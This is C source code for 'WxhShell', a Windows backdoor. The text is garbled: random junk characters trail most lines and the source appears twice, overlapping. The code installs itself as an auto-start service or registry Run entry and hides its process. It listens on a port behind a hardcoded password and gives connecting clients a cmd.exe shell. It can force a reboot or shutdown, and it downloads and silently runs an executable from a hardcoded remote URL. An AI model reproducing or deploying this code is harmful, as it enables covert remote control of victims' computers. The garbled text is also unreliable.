    if(Boot(SHUTDOWN)) `nDgwp:b"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1*Ui=M4  
    else { >{]mN5  
    closesocket(wsh); qg;f h]j%  
    ExitThread(0); )wwQv2E  
    } X[ o9^<  
    break; "x$RTuWA9  
    } KGI0|Z]n~  
  // 获取shell 7VwLyy  
  case 's': { (iZE}qf7 g  
    CmdShell(wsh); X@ Gm:6  
    closesocket(wsh); I=3e@aTZ,  
    ExitThread(0); uY;2tZldf=  
    break; {%;KkC8=R  
  } jW-j+ WGSM  
  // 退出 (SlrV8;  
  case 'x': { GL_a`.=@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .h8%zB#|i  
    CloseIt(wsh); uoe5@j2  
    break; Jy X7I,0  
    } >r"~t70C~]  
  // 离开  } Rc8\,  
  case 'q': { SEc3`y;j%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vZns,K#4H\  
    closesocket(wsh); uUczD 8y  
    WSACleanup(); R.EA5X|_  
    exit(1); )A4WK+yD$z  
    break; zaVDe9B,7  
        } |ei?s1)  
  } aQEMCWxZ  
  } J0U9zI4  
+{j? +4(B  
  // 提示信息 43;@m}|7$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _r}oYs%1  
} Hop$w  
  } <4W"ne28  
AE)<ee%\\  
  return; m$xyUv1  
} xwj%X%2  
dsP1Zq  
// shell模块句柄 !(hP{k ^g  
int CmdShell(SOCKET sock) <~}t;ji  
{ qG/a5i  
STARTUPINFO si; t/bDDV"  
ZeroMemory(&si,sizeof(si)); VT\o=3 _  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o4b!U%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ogX'3L  
PROCESS_INFORMATION ProcessInfo; IA|V^Wmt;  
char cmdline[]="cmd"; pX]*&[X?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {37DrSOa  
  return 0; Xz=MM0o  
} OjCT*qyU<  
Mc9P(5Bf  
// 自身启动模式 _gY so]S^B  
int StartFromService(void) KZL5>E  
{ @$~ BU;kR  
typedef struct FG~p _[K  
{ 'r%`(Z{~  
  DWORD ExitStatus; daaEN(  
  DWORD PebBaseAddress; QY2!.a^q  
  DWORD AffinityMask; sa`7_KB  
  DWORD BasePriority; $.}fL;BzVz  
  ULONG UniqueProcessId; ih?_ fW  
  ULONG InheritedFromUniqueProcessId; +0=u]  
}   PROCESS_BASIC_INFORMATION; !b*lL#s,Y  
ctOC.  
PROCNTQSIP NtQueryInformationProcess; !UD62yw~  
zVs_|x="  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hi{c[;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "RH2%  
XQ<2(}]4  
  HANDLE             hProcess; `OnN12`  
  PROCESS_BASIC_INFORMATION pbi; xyx.1o e!  
| zj$p~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >Ge&v'~_|  
  if(NULL == hInst ) return 0; aT F}  
QzIK580%t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4T6dju  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,SJB 3if  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .bvB8VOrW  
$6:j3ZTXrt  
  if (!NtQueryInformationProcess) return 0; |Gjd  
nD.4c-hd$q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K,' ]G&K  
  if(!hProcess) return 0; Zb7KHKO{  
KMznl=LF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (@O F Wc"p  
Y.@ vdW  
  CloseHandle(hProcess); 7I`e5\ u  
]}F_nc2L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tn/ 3`j {  
if(hProcess==NULL) return 0; K 3?7Hndf2  
QQ97BP7W  
HMODULE hMod; >  K,Q`sS  
char procName[255]; K(Otgp+zb  
unsigned long cbNeeded; C$)#s{*  
pq>"GEN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); anA>'63  
-zHJ#  
  CloseHandle(hProcess); PF@<>NO+W  
L1.<LB^4'  
if(strstr(procName,"services")) return 1; // 以服务启动 A7-QOqST(  
!yH&l6s  
  return 0; // 注册表启动 @6ZQkX/  
} }Fyf?TZ$T  
hkv&Od,  
// 主模块 ,a< !d  
int StartWxhshell(LPSTR lpCmdLine) TH)gW  
{ G F,/<R#  
  SOCKET wsl; G[6V=G  
BOOL val=TRUE; ?`,UW;Br6  
  int port=0; iO3@2J  
  struct sockaddr_in door; Tm[IOuhM'?  
X'ryfa1|  
  if(wscfg.ws_autoins) Install(); Revc :m1o  
M'HmVg4'  
port=atoi(lpCmdLine); hp,bfcM  
Eti;(>"@  
if(port<=0) port=wscfg.ws_port; G(|ki9^@"9  
{DBgW},  
  WSADATA data; . 5|wy<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E@R7b(:*  
 HlPf   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N(]6pG=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LwkZ(Tt  
  door.sin_family = AF_INET; <;+&`R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N4}/n  
  door.sin_port = htons(port); Z|uUE   
\8=>l?P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !u~( \ Rb;  
closesocket(wsl); Yc/rjEn7O  
return 1; #G|iEC0C  
} <y\>[7Y  
L$l'wz  
  if(listen(wsl,2) == INVALID_SOCKET) { G*mk 19Z  
closesocket(wsl); {Aj}s3v  
return 1; !tmY_[\  
} Dx/?0F7V  
  Wxhshell(wsl); 4iRcmsP  
  WSACleanup(); `K~300-hOb  
i=.zkIjSh  
return 0; Cz+>S3v M  
7:R8QS9  
} yiSv#wD9  
<:2El9l!  
// 以NT服务方式启动 $dgY#ST%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R.!'&<Svq  
{ -j`tBv)  
DWORD   status = 0; 5"c#O U  
  DWORD   specificError = 0xfffffff; 7$a,pNDw  
65\'(99y U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *rK}Ai  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w8kp6_i'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7\rz*  
  serviceStatus.dwWin32ExitCode     = 0; N{tNe-5  
  serviceStatus.dwServiceSpecificExitCode = 0; pz6fL=Xd  
  serviceStatus.dwCheckPoint       = 0; My76]\Psh  
  serviceStatus.dwWaitHint       = 0; n87B[R  
x;99[C!$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +S5"4<  
  if (hServiceStatusHandle==0) return; lSUEE0V%Q  
J p!Q2}  
status = GetLastError(); VjBV2x  
  if (status!=NO_ERROR) PiMh]  0  
{ #Fl "#g$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H@qA X  
    serviceStatus.dwCheckPoint       = 0; b/Z=FS2T  
    serviceStatus.dwWaitHint       = 0; >>Z.]  
    serviceStatus.dwWin32ExitCode     = status; PR|F-/o  
    serviceStatus.dwServiceSpecificExitCode = specificError; fDNiU"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vtKQvQ  
    return; `-"2(Gp  
  } "Up3W%]SB  
/z>G= kA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6x^#|;e>lI  
  serviceStatus.dwCheckPoint       = 0; y-)|u:~h  
  serviceStatus.dwWaitHint       = 0; &{]zL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #pErGz'{  
} `6)GjZh^  
0+}42g|_Z  
// 处理NT服务事件,比如:启动、停止 Cz-eiPlq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x?9rT 0D  
{ <3m_} =\  
switch(fdwControl) M^AwOR7<  
{ 3E$M{l  
case SERVICE_CONTROL_STOP: %(MaH  
  serviceStatus.dwWin32ExitCode = 0; 9i*t3W71]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a"EX<6"  
  serviceStatus.dwCheckPoint   = 0; |77.Lqqy,  
  serviceStatus.dwWaitHint     = 0; fr#Y<=Jo  
  { "G].hKgbk*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )pJ} $[6  
  } KaNi'=nW  
  return; PxNp'PZr9  
case SERVICE_CONTROL_PAUSE: --4,6va`e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3s<~}&"  
  break; zt/b S/  
case SERVICE_CONTROL_CONTINUE: ?'Y\5n/*$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ly"u }e  
  break; eY)ugq>'  
case SERVICE_CONTROL_INTERROGATE: pwtB{6)VH{  
  break; !}<d6&!py  
}; S}f 3b N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rG|lRT3-K  
} {?!=~vp  
_dky+ E  
// 标准应用程序主函数 I`^ 7Bk.r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ua\]]<hj"  
{ 47 xyS%X  
umhg O.!  
// 获取操作系统版本 HT0VdvLw  
OsIsNt=GetOsVer(); thy)J.<J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sG[v vm  
T2<?4^xN  
  // 从命令行安装 {VtmQU? cJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); cVYDO*N2T  
B +[ri&6X\  
  // 下载执行文件 M!Q27wT8 O  
if(wscfg.ws_downexe) { F6 ?4&h?n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sio^FOTD  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0tyoH3o/d  
} z SDRZ!  
v._Q XcE  
if(!OsIsNt) { \  {` `r  
// 如果时win9x,隐藏进程并且设置为注册表启动 G_vWwH4XtL  
HideProc(); Y"6 '  
StartWxhshell(lpCmdLine); 3 eT5~Lbs  
} `2-6Qv  
else ySAkj-< /P  
  if(StartFromService()) (8T36pt~  
  // 以服务方式启动 `Sgj!/! F  
  StartServiceCtrlDispatcher(DispatchTable); "Zm**h.t  
else & mwQj<Z  
  // 普通方式启动 m}ZkNWH  
  StartWxhshell(lpCmdLine); E[q:65xl  
E-gI'qG\(  
return 0; {w:*t)@j  
} U4)x"s[CP  
:0@R(ct;>  
/e5' YVP  
cq:<,Ke  
=========================================== zG-pqE6  
fy9mS  
011 N  
DQ%bcXs  
[hzw..?g  
`W>cA64 o  
" zntvKOIh  
m}Xb#NAF8  
#include <stdio.h> Q^13KWvuV  
#include <string.h> a7$-gW"Z(,  
#include <windows.h> RN:VsopL  
#include <winsock2.h> BNi6I\wa  
#include <winsvc.h> 7Z%EXDm4/c  
#include <urlmon.h> }_Y&kaM  
m8M2ka  
#pragma comment (lib, "Ws2_32.lib") = VIU  
#pragma comment (lib, "urlmon.lib") stGk*\>U'  
?R-4uG[(  
#define MAX_USER   100 // 最大客户端连接数 Ac^hZ.qPz  
#define BUF_SOCK   200 // sock buffer N;Hoi8W  
#define KEY_BUFF   255 // 输入 buffer >A&D/k MO  
@}9*rWJIE  
#define REBOOT     0   // 重启 3DjlX*  
#define SHUTDOWN   1   // 关机 0\tV@ 6p2=  
% !P^se  
#define DEF_PORT   5000 // 监听端口 D+4oV6}~  
)M3} 6^s]  
#define REG_LEN     16   // 注册表键长度 xXb7/.*qE  
#define SVC_LEN     80   // NT服务名长度 B ]*v{?<W  
L#huTKX}  
// 从dll定义API (F=/r] Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A-"2sp*t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VT ikLuH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;]gj:6M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +az=EF  
9 +1}8"~  
// wxhshell配置信息 #*;G8yV  
struct WSCFG { EBQ,Ypv  
  int ws_port;         // 监听端口 aI.5w9  
  char ws_passstr[REG_LEN]; // 口令 Z7]["  
  int ws_autoins;       // 安装标记, 1=yes 0=no UP<B>Y1a  
  char ws_regname[REG_LEN]; // 注册表键名 \7V[G6'{  
  char ws_svcname[REG_LEN]; // 服务名 Sb QM!Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RnV#[bM{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MZIZ"b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jJ.isr|`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ATRB9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wWYo\WH'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gh9Gc1tKt  
]v2%hX  
}; \]Bwib%h  
My6a.Kl  
// default Wxhshell configuration E;1QD/E$  
struct WSCFG wscfg={DEF_PORT, eP(|]Rk  
    "xuhuanlingzhe", !l9i)6W  
    1, q"LE6?hs  
    "Wxhshell", :,Zs {\oI3  
    "Wxhshell", kR0/jEz C  
            "WxhShell Service", }[;{@Zn  
    "Wrsky Windows CmdShell Service", R1cOUV,y[/  
    "Please Input Your Password: ", )L+>^cJI<  
  1, J;DTh ]z?:  
  "http://www.wrsky.com/wxhshell.exe", bVxbQ$  
  "Wxhshell.exe" to9X2^  
    }; aM5Hp>'nI  
L l$,"}0T  
// 消息定义模块 Vq&}i~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; * lo0T93B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #i;y[dQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MSqW {  
char *msg_ws_ext="\n\rExit."; j{$2.W$  
char *msg_ws_end="\n\rQuit."; [iXkv\  
char *msg_ws_boot="\n\rReboot..."; 61SbBJ6[  
char *msg_ws_poff="\n\rShutdown..."; r}S>t~p:  
char *msg_ws_down="\n\rSave to "; ]Uj7f4)k  
aG&t gD{  
char *msg_ws_err="\n\rErr!"; OC6v%@xa  
char *msg_ws_ok="\n\rOK!"; uqHI/4  
;$Pjl8\  
char ExeFile[MAX_PATH]; d~abWBgC`  
int nUser = 0; \x=j  
HANDLE handles[MAX_USER]; gmUX 2x(  
int OsIsNt; vqhu%ZyP  
_uL8TC ^  
SERVICE_STATUS       serviceStatus; ^ *1hz<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0/5{v6_rG  
d_1uv_P  
// 函数声明 {Gvv^.H7  
int Install(void); IkP; i_|  
int Uninstall(void); GMKY1{   
int DownloadFile(char *sURL, SOCKET wsh); Oa-(Xp,n#  
int Boot(int flag); RW`+F|UbE  
void HideProc(void); T9NTL\;  
int GetOsVer(void); b QgtZHO  
int Wxhshell(SOCKET wsl);  0`QF:  
void TalkWithClient(void *cs); [;Y*f,UG_-  
int CmdShell(SOCKET sock); ruU &.mZ  
int StartFromService(void); $tqr+1P  
int StartWxhshell(LPSTR lpCmdLine); _T.T[%-&=  
;9;jUQ]MyG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PfN[)s4F{R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ':d9FzGKa  
cGM?r}zJ  
// 数据结构和表定义 YZy%]i=1  
SERVICE_TABLE_ENTRY DispatchTable[] = ;q33t% j  
{ Sa9p#OQ  
{wscfg.ws_svcname, NTServiceMain}, FY9nVnIoI  
{NULL, NULL} *@eZt*_  
}; bH}?DMq]O  
h$)4%Fy  
// 自我安装 -uei nd]  
int Install(void) P,<pG[^K  
{ * "d['V3  
  char svExeFile[MAX_PATH]; ~.$ca.Gf  
  HKEY key; Yn5a4  
  strcpy(svExeFile,ExeFile); ;;  ?OS  
%~I%*=o[  
// 如果是win9x系统,修改注册表设为自启动 2l}H=DZV  
if(!OsIsNt) { Oj1B @QE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r7+Ytr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G%MdZg&i  
  RegCloseKey(key); Z8I0v$LjR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =rN_8&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Pql\]9"o  
  RegCloseKey(key); 3H`r|R  
  return 0; gxc8O).5vY  
    } "ph[)/u;  
  } )v+\1  
} rqTsKrLe  
else { IFbN ]N0  
@MxB d,P  
// 如果是NT以上系统,安装为系统服务 &PUn,9 Rm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M*Ri1   
if (schSCManager!=0) YP`/dX"4  
{ FO:k >F  
  SC_HANDLE schService = CreateService | Zj=E$  
  ( s x2\  
  schSCManager, a8 .x=j<  
  wscfg.ws_svcname, ~COd(,ul  
  wscfg.ws_svcdisp, >Yx,%a@~R  
  SERVICE_ALL_ACCESS, !bBx'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L=&dJpyfT  
  SERVICE_AUTO_START, yq6:7<  
  SERVICE_ERROR_NORMAL, oAF#bj_f  
  svExeFile, \ZtF,`Z  
  NULL, {JtfEna  
  NULL, /Jc54d  
  NULL, )@_5}8  
  NULL, lnnT_[ni.  
  NULL zU2Mno  
  ); M)G|K a  
  if (schService!=0) &~"e["gF=  
  { RA*W Ys&xb  
  CloseServiceHandle(schService); ei!Yxw8d  
  CloseServiceHandle(schSCManager); Q\ pI\]p:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z$y~:bz  
  strcat(svExeFile,wscfg.ws_svcname); $O9,Gvnxx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FvVM}l'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rg7~?b-  
  RegCloseKey(key); $H"(]>~  
  return 0; $q g/8G  
    } cd.|>  
  } IN?rPdY  
  CloseServiceHandle(schSCManager); -] `OaL!  
} m`xzvg  
} T7Qw1k  
"qhQJql  
return 1; HFW8x9Cc  
} v5 I}a7  
#;hYJ Y  
// 自我卸载 V5rW_X:]8  
int Uninstall(void) [&+5E1%L  
{ S8Yti  
  HKEY key; vt(cC) )  
EttQ<z_T  
if(!OsIsNt) { ; mwU>l,4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -J^t#R^$`  
  RegDeleteValue(key,wscfg.ws_regname); (3N;-   
  RegCloseKey(key); lr9s`>9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >#|%y>g .o  
  RegDeleteValue(key,wscfg.ws_regname); P vW~EJ  
  RegCloseKey(key); cm`x;[e6l  
  return 0; =j~Xrytn  
  } &6^QFqqW`-  
} /^':5"=o  
} ]] 50c  
else { '7UIzk|  
`|e3OCU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \s_`ZEB  
if (schSCManager!=0) 6$ ag<  
{ dReJ;x4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]::g-&%Um  
  if (schService!=0) N _|tw  
  { hw 0u?++  
  if(DeleteService(schService)!=0) { Pvz\zRq  
  CloseServiceHandle(schService); Y(C-o[-N  
  CloseServiceHandle(schSCManager); V?N8 ,)j  
  return 0; t&H3yV  
  } -$o4WSd~  
  CloseServiceHandle(schService); 5?-@}PL!Y  
  } {xCqz0  
  CloseServiceHandle(schSCManager); G'(8/os{  
} HBcL1wfS  
} 0l2@3}e  
fu{.Ir  
return 1; ~c${?uf   
} {J]x81}*;  
7(B"3qF8|  
// 从指定url下载文件 M1J77LfS8  
int DownloadFile(char *sURL, SOCKET wsh) a$]i8AeG  
{ jn+BH3e  
  HRESULT hr; Bb*P);#.K  
char seps[]= "/"; -}9>#<v  
char *token; >_SqM!^v  
char *file;  TgvBy  
char myURL[MAX_PATH]; `-[|@QNFz  
char myFILE[MAX_PATH]; oE&#Tl?Vt  
|%12Vr]J  
strcpy(myURL,sURL); 0tEe $9eK@  
  token=strtok(myURL,seps); *#7]PA Qw  
  while(token!=NULL) %OAvhutS  
  { >%c7|\q[R  
    file=token; >M^4p   
  token=strtok(NULL,seps); #?fKi$fS;L  
  } l@`Do[  
i]}`e>fF  
GetCurrentDirectory(MAX_PATH,myFILE); ]OLe&VRix  
strcat(myFILE, "\\"); i2 G.<(3O  
strcat(myFILE, file); G }U'?p  
  send(wsh,myFILE,strlen(myFILE),0); Rv)>x w  
send(wsh,"...",3,0); +|zcjI'=O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pN#RTb8o  
  if(hr==S_OK) c&I"&oZ@&  
return 0; rA[wC%%  
else LW*v/`@  
return 1; Mh8s@g  
k.!m-5E  
} Z&Xp9"j,@;  
}$Z0v`  
// 系统电源模块 (X~JTH:e/  
int Boot(int flag) z65Q"A  
{ vY2^*3\<D  
  HANDLE hToken; m.w.h^f$&  
  TOKEN_PRIVILEGES tkp; y8$I=  
Sq[LwJ  
  if(OsIsNt) { :4/37R(~l8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1s6L]&B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XxLauJP K  
    tkp.PrivilegeCount = 1; ^n9)rsb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 90UZ\{">  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .A apO}{  
if(flag==REBOOT) { [(m+Ejzi%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ][1 iKT  
  return 0; #b94S?dq  
} n 'E:uXv"  
else { +MyXIWmD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #"!q_@b,D  
  return 0; m*~Iu<5L  
} &%r<_1  
  } ]? % *3I  
  else { ]?lUe5F  
if(flag==REBOOT) { rObg:(z&\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qaiR329fx  
  return 0; ,_z"3B)]  
} ]i Yp  
else { +jb<=ERV[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &9F(C R  
  return 0; _m*FHi  
} A8T8+M:  
} K(}g!iT)~  
,racmxnv  
return 1; kV:T2}]|H  
} UZx8ozv'  
,f}u|D 3@  
// win9x进程隐藏模块 *u]aWx  
void HideProc(void) >,a$)z  
{ <g1=jG:7k  
&n~v;M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /&+*X)#v  
  if ( hKernel != NULL ) ;|pw;-  
  { U5ME`lN*`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KZGy&u >`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rmJ`^6V  
    FreeLibrary(hKernel); NM+ (ss'  
  } >>%E?'9A  
3gs!ojG  
return; #83pitcc  
} q!AcM d\  
p mUG`8SY  
// 获取操作系统版本 vbEO pYCS  
int GetOsVer(void) T!N v  
{ jJyS^*.X  
  OSVERSIONINFO winfo; #j4RX:T*[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &vN^ *:Q  
  GetVersionEx(&winfo); #:s*Hy=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dU&hM<.|  
  return 1; 98XlcI#  
  else IsiBn(1Z  
  return 0; kK/( [!  
} dO4J f9)  
$7*@TMX  
// 客户端句柄模块 R?HuDxHk  
int Wxhshell(SOCKET wsl) eXi}-~o  
{ 4(&sw<k  
  SOCKET wsh; "2Q*-  
  struct sockaddr_in client; #+L:V&QE  
  DWORD myID; Z $Fm73  
R\-]t{t`  
  while(nUser<MAX_USER) YnlZyw!  
{ _K3;$2d|R  
  int nSize=sizeof(client); GTke<R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #=,c8" O  
  if(wsh==INVALID_SOCKET) return 1; 3jjV bm  
y'C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DLPg0>;jl  
if(handles[nUser]==0) )6{,y{5!  
  closesocket(wsh); x9\]C' *sO  
else ={\9-JJhE  
  nUser++; 4 }NCdGD  
  } Qrw:Bva)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MG vp6/Pd  
!md1~g$rN  
  return 0; 6 #k mV  
} "'~&D/7  
5DL(#9F8b9  
// 关闭 socket .*&F  
void CloseIt(SOCKET wsh) &M7AM"9  
{ v)JS4KS  
closesocket(wsh); !q 9PO  
nUser--; RV),E:?  
ExitThread(0); xwojjiV  
} oZ>2Tt%  
Rw^X5ByJE  
// 客户端请求句柄 (} wMU]!_  
void TalkWithClient(void *cs) BG/RNem  
{ HL%|DCo  
G UK %R C8  
  SOCKET wsh=(SOCKET)cs; auAwZi/  
  char pwd[SVC_LEN]; [D2<)  
  char cmd[KEY_BUFF]; 2}rYH;Mx  
char chr[1]; :{%~L4$HI  
int i,j; ('+C $  
Q2"K!u]  
  while (nUser < MAX_USER) { S3^(L   
|LirjC4  
if(wscfg.ws_passstr) { <=%=,Yk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K_%gda|l+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HjY! ]!4p  
  //ZeroMemory(pwd,KEY_BUFF); 7*>,BhF#  
      i=0; K{0 gkORF  
  while(i<SVC_LEN) { f@0Km^aUc  
"EnxVV  
  // 设置超时 VjJ}q*/3e  
  fd_set FdRead; |eK^Yhym  
  struct timeval TimeOut; wQYW5X  
  FD_ZERO(&FdRead); C);I[H4Yfw  
  FD_SET(wsh,&FdRead); @s0mX3P  
  TimeOut.tv_sec=8; ^e--4B9|  
  TimeOut.tv_usec=0; %[on.Q'1]2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '#>(JN5\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uQg&]bSv  
"Ug+# ;}p$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7MIrrhk  
  pwd=chr[0]; +iw4>0pi  
  if(chr[0]==0xd || chr[0]==0xa) { o,'Fz?[T%  
  pwd=0;  CP Ju=  
  break; Va^(cnwa  
  } yC7lR#N8j0  
  i++; u5tUm  
    } nnCz!:9p  
'^(qlCI  
  // 如果是非法用户,关闭 socket D{6<,#P{w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M=4`^.Ocm  
} T!-ly7-`  
w[#*f?at~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aa}U87]k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M:oZk&cs  
f=- R<l  
while(1) { VYkUUp  
@_ Tq>tOr&  
  ZeroMemory(cmd,KEY_BUFF); =l>=]O~h  
VyWzb  
      // 自动支持客户端 telnet标准   n$<n Yr`X  
  j=0; 6foiN W+  
  while(j<KEY_BUFF) { {Gw{W&<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t(UdV  
  cmd[j]=chr[0]; 04:QEC"9mj  
  if(chr[0]==0xa || chr[0]==0xd) { cC9haxW  
  cmd[j]=0; DK1{Z;Z  
  break; %rO)w?  
  } 0~e6\7={  
  j++; Ehq [4}  
    } |OIU)53A-  
Se>v|6  
  // 下载文件 h]&o)%{4  
  if(strstr(cmd,"http://")) { _7 ^:1i~:.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <(l`zLf4p  
  if(DownloadFile(cmd,wsh)) YwZ ]J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [= Xb*~  
  else IGo+O*dMw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jt3*(+J>/  
  } oE)xL%*  
  else { 5:%`&B\  
4c<\_\\ck  
